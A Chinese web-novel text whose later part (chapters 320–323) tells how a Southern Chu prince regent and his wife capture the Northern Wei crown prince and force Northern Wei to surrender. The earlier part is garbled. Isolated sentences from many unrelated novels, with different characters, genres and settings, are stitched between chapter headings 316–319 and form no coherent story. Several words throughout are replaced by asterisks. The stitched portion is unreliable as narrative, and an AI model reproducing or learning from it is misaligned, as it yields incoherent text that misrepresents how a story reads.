“你同那个叫‘诸葛薰’的认识吗?你们的装束一样,我还在想你们是不是一起的。”保罗的眼中闪烁着精光。
他好奇的打量着四周,远处人很多,云倾城正在祭出法宝,也便是当初姬云融合玄武九宝之后的玄武之壳,就像自己练拳似的,正在冲着面前的空气狂轰滥炸。
之后几天,乔显允依然每天给丁家送药,而蔓菁也终于买到了她心心念念的一座楼房,不过现如今卖房子的人的确不多,她也只在京都大学附近买到了一套,只不过蔓菁也知足了。
血已放干净,牛已经不再抽搐,姬云随后一甩,牛就被甩到一边,工作人员立刻拉来挂钩,吊挂起来,传送过去。
叶昭三人脸色青白交加,怒火中烧,然而却连狠话也不敢说一句,只是瞥了萧齐天一眼,眼神深处闪着滔天的怨毒,便带着众弟子离开。
“花王果然通透,难怪苍烟那狼子野心的家伙都愿意为了你牺牲性命!放弃他好不容易处心积虑,从我君父那里夺去的兽王之位!”白灵深沉的看了云倾雪一眼,飞身而起,带着兽王令与众人一起对抗神王幻天。
第一卷 第316章 我们赢了!
霍凝玉被这震天的喊声惊得停下手里的动作。
此时她正在为一位伤兵包扎胳膊。
伤兵知道眼前人是王妃,脸上带着羞涩,同时心里感动不已,但很听话地没有乱动。
“王妃,我们打了胜仗。”伤兵一下就听出叫喊代表的意义。
接着伤兵营里也响起了欢呼声。
众多柱老又笑出了声来,很明显,攀枭仁在给庆竹公找借口,但找了一个很破的借口,反而被燕澜抓住了把柄,狠狠地奚落了一番。
当然,投桃报李,他们也必须支持包飞扬提出来的“三县联动”方略,因为没有北三县联动,包飞扬就没有必要将项目放到向海和滨城。所以他们不但要支持,还要积极配合,甚至主动出击。
虽然不知道这根类似腿骨一样的魔杖到底属于哪一个级别,但是可以肯定的是绝不是铸造级。
黑色的死气终于从洞口处喷发而出,那情况就像是石油井喷一般。
也就是说,只要李宇飞想的话,他完全就可以多弄出几个这样的东西,到时候把它们散出去,到时候在暗处看着那些人因为得到了宝贝而兴奋的样子。
宇宙虽大,星辰虽多,但那些地方,连修士都不能长时间停留,更何况普通人族。
途中,朴志勋接到了投资公司英国区负责人布德·格林特的电话,也是他这次前来英国的目标。
这一刻,燕澜也看出,沐荣光其实并未完全掌握混元乾坤伞的秘密与神通,沐荣光甚至不知道在混元乾坤伞深处,还藏着百万里古墓巨门。
前两节是水花兄弟跟谢晨对抗,这一节又变成了杜兰特,不少人都开始心疼起谢晨来。
“不准过来,否则我就杀了他。”那人一手掐在婴儿的脖颈上,面露狠色。
“哈哈,可笑,真的可笑,我当年是强行占有了你姐姐,那又如何,难道你想为你姐姐报仇?就凭你和他?”朱天玉哈哈大笑,脸上涌上一丝癫狂,看向秦云和碧水武侯眼中充满了不屑。
宋毅和那七星武王的灵魂深处齐刷刷闪过一个念头,可惜他们的灵魂却是陷入了浑噩中。
“这件事情,我们就继续当做不知道吧。”顿了顿,连似月又说。
这个儿子,从生下来,便只是她得宠和巩固在程家地位的工具,她的心里只有报仇这件事,从未给过他太多的疼爱。
谭云看着左掌心内的生命之液,左掌一震,生命之液化为一蓬水雾弥漫在谭云身上。
包括东华帝君在内的所有混元高手瞪圆了眼睛看着跪倒在他们面前哭爹喊娘的要求保他们一命的魔族展静,眼睛当中满是匪夷所思的不可置信。
金仙趁着她全神贯注的时候,将捡起的石头,暗中狠狠砸了过来,刚好砸在了乐颜的手背骨上。
他也很想见识见识这龙痕的实力,看看这天神榜第四的实力到底有多强。
一名帝人境的仙将,则掌管十名炼仙境六至十二阶的副将,那么亦是说,轩辕仙城有一千二百名炼仙境六阶至十二阶的强者。
希若仍是愤愤的狰狞模样,此刻的她活生生像只刺猬,见谁都想扎一下。
手上传来的凉意直袭齐泽奕心间,他不悦地皱起眉头,外面这样冷,她还坐在地上,是不想活命了吗?
赤火门的老者今时越脸色一滞,眼眸中闪过一道隐晦的冷芒,不过旋即就满面笑容。
第一卷 第317章 此计甚好
“攻,总要试探一下。”梁锦琦拿定主意,传令三军,准备攻城。
赵炳煜在城墙上看着敌军如潮水般涌来,而那些主将却离得远远的。
看来对方已知道他正用床弩对着他们。
毕竟,他还感应不到任何的灵力波动,那凭空出现的黑炎却可以轻而易举地将他的黑链彻底烧毁。
张放的意思很明确,无论往东往西,都有风险。分两路走虽可最大限度降低风险,但也是五五之数,究竟谁能脱险,看运气了。
按照星核的解释,这些星核分体以后可都是有大用的。光是升级六级星核就需要最少三枚星核分体,谁知道从六级升级七级乃至更高的级别,会不会还需要星核分体呢?
中原的江湖向来都是强者为尊的,没有一定的武学基础,是难以在中原立足的。
辰夕还以为只是自己手抖而已,他就使了些力气,将阎魔刀拿稳住,念一声“索菲亚”。
“看来六脉神剑是真的有了?”于山一想,这不就是六脉神剑吗?
事情确实是有点难办,因为这不是他租的船,而船上的也不是他的朋友。如果说刚才他们面对价值几十万欧元的金币没有动心,那么,再次面对这件梅瓶的时候呢?
夜羽心中却是可以肯定血长空肯定会借这个台阶下,而且为了面子,可能不会要他的灵石也说不定,在这些天之骄子的眼中,有时候面子比身外之物更加重要。
当然,次一级的实验室要想晋升到国家级重点实验室,从而得到唐风以及各界的资助,并不是唐风说了算,而是贝儿公主岛上那多达37名的各界顶级科学家共同组成的功能类似于长老会的“科学家殿堂”这个组织说了算。
同样的跪姿,同样的拜礼,但对象已变成赵飞燕的妹妹,赵宜人。
在狩猎场上,猎人已经猎物的身份会随时调换,一着不慎,那么基达就会荣光的成为地上的一坨粪便,然后滋润着树木的生长。
不过让她在意的倒并不是任星辰,而是那个手持长剑而立的坚毅少年。
天地劫并不只有单一形式的一种,据记载,不同属性不同实力的人在突破的时候引来的天地劫也是不同的,雷电、狂风、烈火或是弱水,无所不企及。
原本这艘官船上的上下事宜都由礼部的负责官员打理,议事厅也应当设在三楼。但自从三楼被贾清划为“禁区”之后,他不得已只好将议事厅设在一楼的茶厅之内。
“没错。除了除元,还有这三样
好东西呢!”穆辰东说着,又指了一下桌子旁边放着的水桶。
林雪儿一脸兴奋,滔滔不绝,完全没注意到一旁的方毅,整张脸都黑了下来。
马哲驾着车子,狰狞着脸庞,在路上一路飞驰,横冲直撞,撞毁了无数路上的摊贩,撞伤了七八个行人。后面一排警车鸣着警笛,四处围堵拦截。
“那……我一向都很注重养生,为什么还会出现这样的情况?”男人已经彻底服了。
反而远处的神武军,也不知有意还是无意,神鬼八阵图推行的速度缓慢了许多。
当年他和贾清一道下江南的时候,还只是一名白户,如今已经是整个锦衣军中都为数不多的指挥佥事。
第一卷 第318章 霍凝玉又一次做饵
前两个城离南楚近,两国百姓之间少不了往来,或者有亲戚关系,还有商贸往来,自然就没那么大的排斥,而越深入北魏,百姓对北魏皇权的忠诚度自是越来越高。
搞餐饮的,居然有对着给客人的菜里头吐口水的恶心举动,这真是太该死了。
唐明点了点头,黎鸠鸿与付三的安排也算是用心良苦,恐怕如果不是为了红叶魔头,恐怕黎鸠鸿还不会露头。
“龙毒霸现在人在哪里?”孙装甲冷冷地询问道,虽然他现在不是公司的股东,但却是最大的代理商,这次时间孙家承受了巨大的损失,所以他有权利参加这次会议。
师徒二人只是觉得漆雕翎是因为听到堂妹的消息所以才多问了一句,浑然没有察觉她眼神中暗藏的犀利。
若隐若现的朦朦金光突然大盛,自他身周暴涨三寸有余,从远处看,这暴震而出的金光,倒真像一吕巨钟倒扣在三绝大师身上。
而现在突然把自己给扔出来,显然他是已经有了打算,苏七星对此也并不意外。
“不管真假,你对达摩的忠心确实可见,这就足够了”丽莎回道。
在时间殿主释放境界后,各个势力的强者,都把目光投向亘古州。
也许他说的是真的,那么,靳冲这一走,从此便会踏上一条血腥复仇之路,这条路没有终点,直至倒下。
这么久了,自己还没有见到贪狼长的啥样呢,自己倒是想要瞧瞧,这么强的一个高手,到底长的啥样儿。
这条街可以说是整个dt市最繁华的一条商业街了,整条街全部都是卖衣服裤子鞋的。
想到阿山那副凶神恶煞的样子,顾心蕊倒是庆幸那个阴差阳错夜晚。
王胖子正挥舞着菜刀在房间内咆哮,见房门被人打开,立即举刀就要冲过来。
回到金谷园,顾心蕊刚把外套脱下,宁宙忽然从身后抱住顾心蕊。
宁缜点头。他跃跃欲试,一瞬间仿佛又回到了十年前,他们没有矛盾的时期。
房间里周潮发听到动静也走了过来,见到是他微微皱了皱眉,心里很不高兴,因为他对这人的印象可一点都不好。
沿途所过之处,直接是燃烧成了滔天火焰,短短方才片刻的时间,这一片广阔的密林,就彻底得成为了一片火海。
伸手不着痕迹的拉了拉身边黄秋荷的衣角,示意她不要再说下去了。
莫一凡拍着权逸寒的背,看着自己的兄弟颓废成这个样子,也有些于心不忍,这
感情的事真的是太累人了。
逸寒,从此以后就没有人可以伤害你和天天了,我希望他可以开开心心的长大,每天都高高兴兴的。
江涟漪下意识的瞟了一眼沈瀚辰,沈瀚辰努力克制自己装作没听见她们说话。
王瑾轩闷闷不乐,虽然得了林毅的承诺,但她更喜欢跟着林毅到处搞事。
“我好像说过不要擅自闯进我的东祥园。”白妙音轻咳几声提醒着。
那些方才还起哄的人也愣住了,甚至已经有人下意识捂住了自己值钱的首饰,场面瞬间安静了下来。
郑重其事的道出此语,郦商不忘侧过身,对上首的吕雉沉沉一拱手。
在天玄宗先后遇到两个高手,刚才又在附近遇到那黑衣人,这南域似乎比他想要更为神秘了。
第一卷 第319章 中计了
周师傅接过图纸看了又看,可是他却没看懂,图纸上的东西是什么?
等到厨房里,善后完的祁洛翊回到客厅当中,就发现人都消失了,包括他的老婆儿子。
“算了,那我还是找别人去吧,和爷爷说,他又要不让我去了。”田园有些丧气,转身就走。
然而话音落下之际,叶望叶平等人的心间,却越发沉重了起来,从叶潇三人的分析之中,他们已经听明白了过来,叶泷叶鹤那帮人之所以能够策动全场弟子暴动哗变,就是因为金兰六兄妹在其中扮演了最为关键的角色。
懵懂的他们似乎看到了那死里逃生的战友们最后的庆祝,在路上,没有美酒,没有闪光灯,更不可能有人知道他们付出了什么。有的人甚至在失去了自己的战友,唱这首歌的时候,心情真的很复杂。
叶征默默打量着这具所谓的身外化身,三七分发型,五官平平无奇,也就金丝边框眼镜稍微有点辨识度,身着深色白领套装,跟一般的路人甲毫无差异,也不知道是不是血肉构成的。
他不知道李艳阳怎么做到的,但他知道,李天佑都做不到,别说李天佑,就算东三省头把交椅联合起来都做不到。
察觉到陆柳芸岌岌可危的情形,叶逸淡漠的神情之间,顿时闪过了一抹担忧的目光,迅速将手中怀抱的黑色幼犬放下之后,他便奋不顾身的冲了出去。
云非墨此时心底积累的怒火已经达到了鼎沸状态,随时有可能爆发。
与其给对方一线遥不可及的希望,不如趁早掐断对方的念想,让其尽早习惯现实,过上自己本该去过的普通生活。
“沐秋妹妹,不,以后咱们就是同门了,姐姐很高兴,以后有什么事可以来找我。”紫秋月也很开心的跟沐秋说道,脸上露出爽朗的笑容。
面对突然出现,就直接冲向大峡谷的许霄和烈无双二人,虽然两人来势汹汹,但还是有大量妖兽主动迎了上去,誓要将两人挡在大峡谷之外。
第二天,晨钟足足敲了九下,在京的所有官员震动,包括在军中述职的将领们,连忙穿戴好官府,来到勤政殿,参加此次的大朝会。
还在恢复的周云霆开口了,他是商人,七窍玲珑,已经有点猜到玄阳子的意思了,可是这一次他不得不开口,因为事关自己,如果这个巫师不死,再次被许辉雇佣,那么自己下一次还能不能够这么幸运就很难说了。
哪里想到,这股神秘的外来力量如同附骨之疽,仿佛是渗入到了他身体的最深处,在他的法力
冲击之下,巍然不动,根本就无法轻易的驱除。
经过这么几番折腾,许霄对远海深处的危险有了更为清晰的了解。他心里也算是明白,远海深处为什么人迹罕至了。
钟馗宝剑上的雷电蔓延到顾同之的手臂上,和他手臂上的黑雾发生了一连串的火花爆炸,顾同之一点都不在意,依旧是死死的钳住了钟馗宝剑。
“我愿意将这些地图与你分享,但你必须保证,荒古宗不与我们为敌,我指的的灵圣宫!”楚枫说道。
第320章 活捉北魏太子
可惜,袖箭上抹有强效软筋散,见血即倒。
他只来得及说出这三个字,就瘫软在马车里,眼睛却死死盯着已经滚倒在地的霍凝玉。
又眼睁睁看着她拍了拍身上的灰尘从地上站起来。
与此同时,两侧屋顶上,密密麻麻站满了南楚弓箭手,箭镞寒光闪闪,对准下方的巷道,看准目标,“嗖嗖嗖”射出一轮箭雨。
黑衣人瞬间倒下不少,负隅顽抗者拼命用剑抵抗从四面八方而来的箭矢。
青风四人把霍凝玉护得密不透风,一个黑衣人也靠近不了。
直到最后一个黑衣人倒下。
赵炳煜一身劲装,出现在前方屋顶,居高临下,再一个飞身下来。
几步跨到霍凝玉面前。
“可有受伤?”赵炳煜在她身上各处查看,发现没有半点血迹,才把一颗提着的心放下。
“我一点事都没有。青风他们几人把我护得很好。”霍凝玉温声安慰。
她觉得自己把任务完成得十分漂亮,一副求表扬的模样笑看着赵炳煜。
“回去再给你奖赏。”赵炳煜温柔一笑。
马车里软成一滩烂泥的梁锦琦眼神如刀,直射向正在传递温情的两人身上。
赵炳煜转过身,目光如冰:“梁太子,恭候多时了。”
梁锦琦脸色惨白,他知道自己插翅难飞。
“卑鄙!”他从牙缝里挤出两字,可惜,已成了瓮中鳖。
赵炳煜挥手下令:“负隅顽抗者,格杀勿论。”
那些只是中箭,但还没死的黑衣人,全都被补一刀,一个活口都没留。
那些地痞也有些中箭的,也有些运气不好,命中要害当场**的。
活着的那些个个都吓得瑟瑟发抖,老实蹲在地上。
“这些地痞都给本王关进牢里,好好‘招待’一顿。”赵炳煜绝不手软。
这些人就是祸害,死不足惜。但他也没直接把人杀了,就看他们的运气,在牢里能不能活下来。
赵炳煜这才上了马车,看向药性还没过的梁锦琦,曾经不可一世的北魏太子。
“梁太子,久仰大名。”赵炳煜还有模有样地拱了拱手。
“赵炳煜,你敢算计本太子,就不怕我北魏举全国之力拿下你南楚?”梁锦琦放狠话。
“哈哈......你只是太子,又不是北魏帝王。你还有好几个兄弟,就算本王现在杀了你,估计你的父皇也就只是惋惜一阵。”赵炳煜被他的话逗得大笑。
北魏皇帝对这个太子早就有了防备之心。
要不是现在北魏此时与东临也在交战,北魏皇帝根本不会让他领兵出征。
“你......”梁锦琦被说到痛处,无话可说。
的确如赵炳煜所说,父皇对他的防备越来越明显。
但好在,他并没有做什么出格的事让父皇忌惮。
他一如既往表现出为国为民之心。
“你想用本王的王妃来威胁本王?可惜,本王的王妃,从来不是需要藏在羽翼下的金丝雀。
她是能与本王并肩作战的鹰。
当探得你留在沧澜城,我们就想到你要干什么。她以自身为饵,引你上钩。这计还真是妙。”赵炳煜为妻子的勇敢而自豪。
梁锦琦这才明白,自己从头到尾都落入了这对夫妻精心设计的圈套,顿时面如死灰。
赵炳煜下令:“将北魏太子带回营地,严密看管。消息暂时封锁。”
回到营地,赵炳煜立刻叫来几个主将商议军事。
“罗将军,陈将军,立刻整军,准备趁敌军主帅被擒,群龙无首之际,出兵樊城。”
为了抓梁锦琦,耽误了几天,得补回来。
“是!”两人应诺,士气如虹。
擒获北魏太子,犹如斩断了北魏大军的脊梁。
南楚军的北伐之路,自此迈入了全新的阶段。
只用了一天时间就兵临樊城。
没了太子的北魏军,几个将领准备闭门不出,快速派人悄悄潜入沧澜城看看,太子殿下有没有得手,什么时候回来。
然,赵炳煜根本不给他们时间。
翌日一早,直接把梁锦琦押到阵前,让士兵们大喊:“北魏太子已被我军生擒,速速投降,不然就杀了你们的太子殿下。”
北魏的将领们看到被关在囚车里的太子,双目赤红。
这可如何是好。
北魏将领齐聚商量。
有人提议,等到天黑,突袭敌营,再拼死救出太子殿下。
而北魏将领里并不是所有人都是太子的心腹,自然有其他皇子安插的人。
这些人极力反对。
最终争执不
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休。
赵炳煜不给他们拿定主意的时间,直接下令攻城。
乱了军心的北魏军,哪里抗得住有备而来的南楚军。
只此一战就拿下樊城,并俘虏北魏军三万人。
投降者不杀,打散编入南楚军。
百夫长以上将领全部关入大牢。
赵炳煜发下军令,如果这些人都老老实实跟着南楚军参战,等拿下北魏,全都让他们解甲归家,以后招兵都不会再招他们。有军功者,可根据军功大小给以不同奖赏。
随着这份军令,奖赏的制度也一并公布。
这一军令让那些战俘都看到了希望。
他们都是百姓之子,谁家也不愿意自家的儿郎去战场,生死难料。
现在他们看到了希望,而且以后都不用参军。只要他们活下来就能实现。
有了这样的军令,俘虏基本都选择投降。
赵炳煜还发下军令,南楚兵不可欺负投诚而来的同伴,要一视同仁。
这一军令让北魏兵更加安心。
赵炳靠着这两项军令,一路势如破竹,向北魏的京城进发。
手里有床**,又有高出城墙的云梯,还有一直被困在囚车里的梁锦琦。
有些城的守军,直接开门投降。
北魏几次派兵增援,可惜能派的兵数量有限,又匆匆从百姓中抽壮丁,加大百姓赋税。
只短短两个月时间,北魏彻底乱了。
东临也趁着南楚大举进攻北魏之际,一点点收回自己失去的城池。
赵炳煜的军队始终保持十三万,一路前行,又一路留下守城兵,再收编投降俘虏。
霍凝玉也一直跟在军中,带着娘子们为受伤的将士们服务,赢得了将士们一致赞赏。
十一月中旬,兵临北魏皇城。
收编的北魏兵,用不上的,让他们交了武器,直接回家。
北魏皇城禁卫军三万,再加上还有两万舍不得派出去的京畿卫。
只区区五万兵。
赵炳煜直接把京城围了。
现在他的军需,从攻下来的府城里获得,基本不需要南楚京城送来。
至于军饷,已经发下军令,等回到南楚一并补齐。
北魏皇宫里。
“这可如何是好?”北魏皇帝如热锅上的蚂蚁,在承宇殿上来回徘徊。
第321章 北魏降
下面群臣个个面如死灰。
“皇上,要不还是想办法逃出京城吧?”丞相大人极力劝道。
眼看着南楚军就要攻到京城时,他就劝过多次,可皇上就是不听。
可皇上却说他不做逃君,无颜见列祖列宗。
“往哪里逃?现在南楚军已经把京城围了个水泄不通。”北魏皇有些后悔没听丞相大人的。
“皇上?”丞相想说,皇家肯定有逃生的密径,不过他们这些臣子不知道罢了。
北魏皇摆了摆手,他决不做逃君。
就算他逃了,赵炳煜也不会放过他。
他都已经年过半百,哪里经得起逃亡路上的颠簸,说不定死在半路,连个葬身之所都没有。
“父皇,我北魏本是兵强马壮,就因南楚研究出了无往不利的床**才让我北魏大军吃了大亏。
现南楚已兵临城下,我们想逃也无处可逃,迟早会被找到。
如果我们投降或许才是保全所有的最佳选择。
留得青山在,不怕没柴烧,只要我们还活着,再暗中集聚势力,夺回我北魏疆土,重兴江山,不无可能。
如果不投降,等赵炳煜没了耐心,直接攻城,我皇室将无一人有命活下来。”北魏四皇子早就深思熟虑多次。
他也不赞成逃走。
先保证有命在,再图谋以后,北魏皇权统治多年,忠于梁氏的臣子不少,隐藏起来,再伺机而动。
终有一日,定能复国。
“皇上,不能轻易投降,需得与南楚谈些条件,不然我们将没有任何立足之地。”一位老王爷虽也赞成投降,但不能毫无尊严。
“父皇,还是逃吧。一旦投降,定是圈禁一辈子。”二皇子反对。
他不要过圈禁的日子,那和坐牢有什么区别。
二皇子的话让皇室宗亲都无话可说。
没错,**之君和宗亲,新朝不可能善待,唯恐其复国,基本都是圈禁一生。
这样既不失民心,又能阻断前朝皇室复国的举动。
商讨了一上午,也没商量出个结果。
此时已完全进入冬日。
赵炳煜下令围城后的第三日就向北魏皇发了檄文,如果在三日之内不开城投降,就下令攻城。
“夫君,如果他们选择投降,那北魏的皇室,勋贵和官员要如何安置?”霍凝玉觉得这事有些难。一个不好,很容易留下后患。
赵炳煜放下手中的军报,握住霍凝玉微凉的手,将她牵到炭火旁,为她暖手。
“这几日我正思量此事。若他们投降,北魏皇室不可留在故地,也不宜尽数圈禁,那会埋下复仇的火种。”
“夫君的意思是?”霍凝玉不太懂这种政事要如何处理。
“分而安置。”赵炳煜取过案上舆图。
“梁氏宗亲中,愿降者可迁往我南楚南面富庶却远离旧都之地,赐予少量田宅,允其科举入仕,但永远不得掌兵权。至于北魏皇和他的皇子们……”赵炳煜说到此顿了顿。
“若他肯亲献国玺,我便许他‘安乐公’之位,于我南楚京城建府荣养,以显我南楚仁厚。同时又在我们的眼皮子底下,他想有所动作,都能及时察觉。”
“那勋贵与官员呢?”霍凝玉又问。
“官员经考绩可留用,但须调离原籍,分散至各州府。
勋贵则按是否抵抗,有无血债来区分,如果于我南楚来讲,无罪者可保部分家产,罪重者依律论处。
爵位就免了,又不是我南楚的功臣。
但这一切,皆需他们三日内开城来降才作考虑,如果三日之内,他们不降,等我攻入城中,那就全都沦为阶下囚。”
霍凝玉沉吟片刻:“只怕他们宁为玉碎。”
“那便是他们的选择了。”赵炳煜声音沉静,“我能予以生路,却不会无限等待。”
赵炳煜又拿起从南楚送来的军报看起来。
“夫君,钟离大哥是不是已经还朝了?”霍凝玉瞄了一眼他手里的军报。
“是啊,钟离洛果然不负众望,比我们还要早拿下西凉。
他留下鲁谦韵善后,自己提前跑了,可惜他动作再快,也没能赶上孩子出生。哈哈......”赵炳煜已经想象到钟离洛那遗憾的表情,又幻想他把马催得马失前蹄的囧样。
“你还笑得出来,都不同情一下他。看我回去不告诉他你没有同情心。”霍凝玉揶揄幸灾乐祸的夫
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君。
“随你,大不了与他比试一番武艺。”赵炳煜无所谓。
他与钟离洛是好兄弟,怎么可能因为这点玩笑而生嫌隙。
翌日,亲卫匆匆来报:“王爷,北魏遣使,持降表出城。”
霍凝玉眼睛一亮:“比预料的快。”
“看来北魏皇还是认得清现实。”赵炳煜起身,“传。”
帐帘掀起时,寒风卷进帐里。
北魏礼部尚书手捧木匣,步履沉重,在罗子啸和陈望烽的带领下走进来。
他身后的年轻副使正是北魏四皇子梁锦玦,虽着素袍却脊背挺直。
梁锦玦双手奉上降表,目光与赵炳煜相接时,既不卑微亦不挑衅:“南楚摄政王,我父皇愿开城献国。唯求三事:一不杀降卒,二不毁宗庙,三不辱皇室女眷。”
赵炳煜接过降表,并不急于展开:“若本王不允呢?”
梁锦玦沉默片刻,忽然撩袍跪下:“那便请王爷先斩外臣,再攻城。
届时城中军民知无退路,必以死相搏。
王爷纵胜,亦将得一座尸山血海的空城,与北魏百姓百年难消的怨恨。”
帐中寂静,唯闻炭火噼啪。
赵炳煜看着跪在自己面前的北魏四皇子,此前也是骄傲的身份,现在为了一城百姓,却放下身段跪在他面前。
此人是个能屈能伸的。
良久,赵炳煜才缓缓道:“本王可允,但你北魏皇室从此以后不得有二心,本王需带你们回我南楚京城安置。”
梁玦深深俯首:“谢摄政王。”
他知道赵炳煜的言外之意。
去了南楚京城,北魏皇室梁氏都将在他们的监视下生活。
可他们没得选。
当夜,北魏皇宫灯火通明。北魏皇亲手将传国玉玺装入锦匣时,老泪纵横。
二皇子在王府悬梁自尽,留下“不睹江山易色”的**。
而更多的宫人默默收拾行装,在寒风中等待天明。
翌日天明时分。
城楼上,北魏皇旗缓缓降下。
远处,霍凝玉与赵炳煜并肩立于营前,看到城门在晨光中缓缓开启。
“夫君觉得,北魏皇室真能安心做富家翁么?”
第322章 王妃才是真正的幕后英雄
赵炳煜为她拢紧披风:“我南楚不惧他们有什么心思,连西凉都收入我南楚版图,他又能如何?
而且北魏皇帝年事已高,也活不了几年。
给他这个恩典,还能赢得天下文人的民心。”
梁氏想要有什么心思,也要看他们有没有那个本事。
“你说得对。这天下本就合久必分,分久必合。那些文人熟读史书,当看得清形势,也就不会胡乱说话。”霍凝玉点头。
两人携手走进北魏皇城。
北魏皇带着文武百官跪地迎接。
从此,北魏并入南楚版图,再无北魏。
赵炳煜顺利接手北魏皇城的政务,向北魏各州府发下政令,北魏皇权已无,北魏从此为南楚州府,原北魏境内的州府,赋税一律减免三成。
原州府官员可继续任职,如有不服者,可辞去官职,永不录用。
经过十日的整顿,一切政务都已理顺。
万青鸿忙得脚不沾地。
他带出来的人手全都派上用场,但还是人手不够。
赵炳煜又发出一条政令,明年三月的春闱,不分地域,凡中举者全都去南楚京城参考,由原来的取士一百五十人,增至三百五十人。
这一政令让那些读书人兴奋得奔走相告。
历朝历代从没有哪次科考取士这么多人。
**得文武艺,货与帝王家。
自古文武之士都是冲着这个目的,然而多少人为此付出千辛万苦也得不到机会。
霍凝玉看到这个政令,心里唏嘘一阵:“二弟亏大了。”
“怎么了?”赵炳煜看到妻子垮下去的脸色,奇怪问道。
“以前只是南楚的文人一起竞争,现在却是三国的文人都来竞争前三甲,二弟还能如愿吗?他也正好明年参加会试,他可是立志要考探花郎的。”
“哈哈......你操的心也太多了。放心,北魏与西凉的文人都不如我南楚。”赵炳煜被逗得大笑。
小舅哥不至于竞争不过吧?他对霍鸣昶的学问很看好。
想到亲人,霍凝玉忽然升起归心似箭之感。
“哎!”她长长叹了一口气。
“怎么了?”赵炳煜看到妻子落寞的样子,心疼问道。
“夫君,我想孩子们了,也想父母了。我们出来已经大半年了。”霍凝玉有什么就直接说出来。
“我也想孩子们了,周岁的抓周礼我们都缺席了,我们不是称职的父母。”赵炳煜也很自责。
但现实让他们没有办法在那个时间赶回去。
“来人。去把万青鸿给本王请来。”赵炳煜被霍凝玉这么一提起,他也升起想归家的熊熊烈火。
青雨得令,风一般跑走。
他也听到了王妃的话。
他也想回南楚了,也不知道王妃身边的珍珠是不是老老实实在王府里待着。
他特别羡慕青风,时常可以和玛瑙眉来眼去。
可那小子就是害羞,这么久了都不敢向王妃提亲。
他想好了,一回到南楚京城,他就找珍珠问问,可愿嫁他为妻。
只要她一点头,他立刻就向王妃提亲。
只是他跑到半路,居然遇到了青凌。
“你怎么来了这里?”青雨疑惑不解。
“东临已经收复了失去的所有城池,现在咱们南楚又把北魏拿下了,都已经停战,我当然就该回到王爷身边当差了。”青凌耸耸肩,说得理所当然。
“也是,那你快去向王爷报到。我去请万大人。“
青凌看到风风火火的青雨,一点不像以前那么沉稳。
“属下见过王爷王妃。”青凌来到夫妻两人住处。
“青凌,你怎么来了?”霍凝玉有些惊讶。
“回王妃,属下不来这里,应该去哪里?”青凌短时间被两个人质疑不该出现在这里而有些奇怪。
“呃......”霍凝玉一懵,好像她问错话了。
“王妃是太久没见到你,有些吃惊。说说,你们对抗北魏可还顺利?”赵炳煜并不惊讶。
青凌时常与他有书信往来,知道他会来此。
“刚开始不太顺,毕竟我们只有一架床**。但王爷带兵攻下北魏第一座城开始,之后就越来越顺了。
后面还有两城,北魏兵直接弃城而逃。
后来得知王爷直接打到了北魏京城,属下就带着人追来这里。
结果属下还没到北魏京城就听说王
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爷已经迫使北魏皇开城投降。
王爷真厉害。”青凌说到最后,笑得合不拢嘴。
他的主子不愧是南楚摄政王,能文能武。
领兵也是战无不胜。
“别夸了,我们不过是仗着有攻无不克的武器,才有了这场大胜,想想以前,这么多年来,一直被西凉挑衅。北魏也经常趁火**。
王妃才是真正的幕后英雄。”赵炳煜并不骄傲。
要不是有他的王妃带着两个师傅日以继夜的研究,哪有他今日站在这里的份。
“王爷说的是,王妃才是真英雄。”青凌向霍凝玉又郑重一礼。
“行了,越说越离谱。好像那么多将士没有付出似的。
青凌,你也立了大功。等回了南楚,我就给你娶媳妇,看上哪个姑娘,记得与我讲,不然我就要乱点鸳鸯谱了。”霍凝玉笑道。
“真的?多谢王妃,翡翠姑娘属下就觉得特别好,可否将她许配与属下?”青凌立刻顺杆子爬。
大家都说翡翠长得像个男人婆,可他就觉得这样的女人才好,不娇气,也不矫情,还能自保,不用人时常担心,走哪儿都放心。
“哈哈......青凌的眼光就是好。”正好走到门口的万青鸿听到青凌的话。
“王妃身边的人,哪个都是一等一的好姑娘。不过你得向王爷要个官职才行,不然你拿什么娶人家?”万青鸿提点。
万青鸿的话当真提醒了赵炳煜。
青雨和青凌都齐齐看向他。
“咳......,你们都是本王身边得力的帮手,全都是四品带刀侍卫。比京里多少武将都体面,娶官家小姐都够身份。不用一个个的都盯着王妃身边的丫鬟。”赵炳煜轻咳一声,掩饰尴尬。
他确实为他们想得少了些。
当年皇伯父把他们四人派到他身边,只是护他安全,没想到几年过去,个个都是他最得力的帮手。
同时他们也各自建功立业,他们的付出,完全可以独立门户。
“属下谢王爷抬爱,属下就喜欢王妃身边的姑娘。”青雨一拱手。
“咦?青雨也看上我身边的丫鬟了?谁?”霍凝玉还有些懵,她怎么没发现?
第323章 左亲一下,右亲一下
“王妃,不知珍珠姑娘可有心上人?”青雨脸一红。
“哦,原来是珍珠。那玛瑙你呢?可有被哪个看上?”霍凝玉故意往站在一旁的青风瞟了一眼。
青风可是第一个问她,他们是否可以娶妻的人。
这么久也没见他行动,也不知道他们几人什么时候才敢大胆来向她提亲。
“王妃,属下攒了五千两银子,可否向您提亲,属下想娶玛瑙姑娘为妻。”青风没有半点不好意思。
要不是正在北征途中,时机不合适,他早就想有所行动了。
“谁要嫁给你了?”玛瑙娇嗔地向青风一瞪眼,然后害羞地一转身跑了,“奴婢去看看晚膳快好了没。”
“等等,我陪你一块儿去。”青风一溜烟追了出去。
引得殿里几**笑不止。
“万大人,本王打算赶在年前回京,这里就交给你,等到明年科举过后,有了新人,皇上自会派人来接手,你再回京。”赵炳煜直接把一切事务都甩给万青鸿。
“王爷,不带这样的,臣也想回家,臣的妻子也快生产了。不能让她一个人面对啊。”万青鸿如丧考妣,嚷嚷起来。
“你放心,王妃会帮你看着的,保证让你媳妇母子平安。”赵炳煜不给他找理由的机会。
“哎,我可怜的娇妻爱儿。为了国我就要放弃小家。王爷,你得给我加官进爵。”万青鸿趁机讨要好处,不能无私奉献。
“放心,等你回朝自有你的好处。”赵炳煜不吝啬。
“多谢摄政王。”万青鸿一揖到底。
摄政王的一句话,那定是一言九鼎。
十一月二十二日。
天气虽寒冷,但对于归心似箭的霍凝玉来讲,那也是可以克服的。
青凌带来的五百护卫留给万青鸿用。
罗子啸留守北魏京城,哪里有**,他就带兵去剿灭。
北魏新归入南楚,自有一些小股势力不服,那就用兵直接铲除。
陈望烽等来年春再带兵回南楚京城。
赵炳煜带着最初的两百护卫起程。
一路向南,天气也没那么冷。
后面的路走得更快,直到腊月二十八,终于赶到了京城。
赵凌哲收到消息,出宫,亲自在城门外迎接。
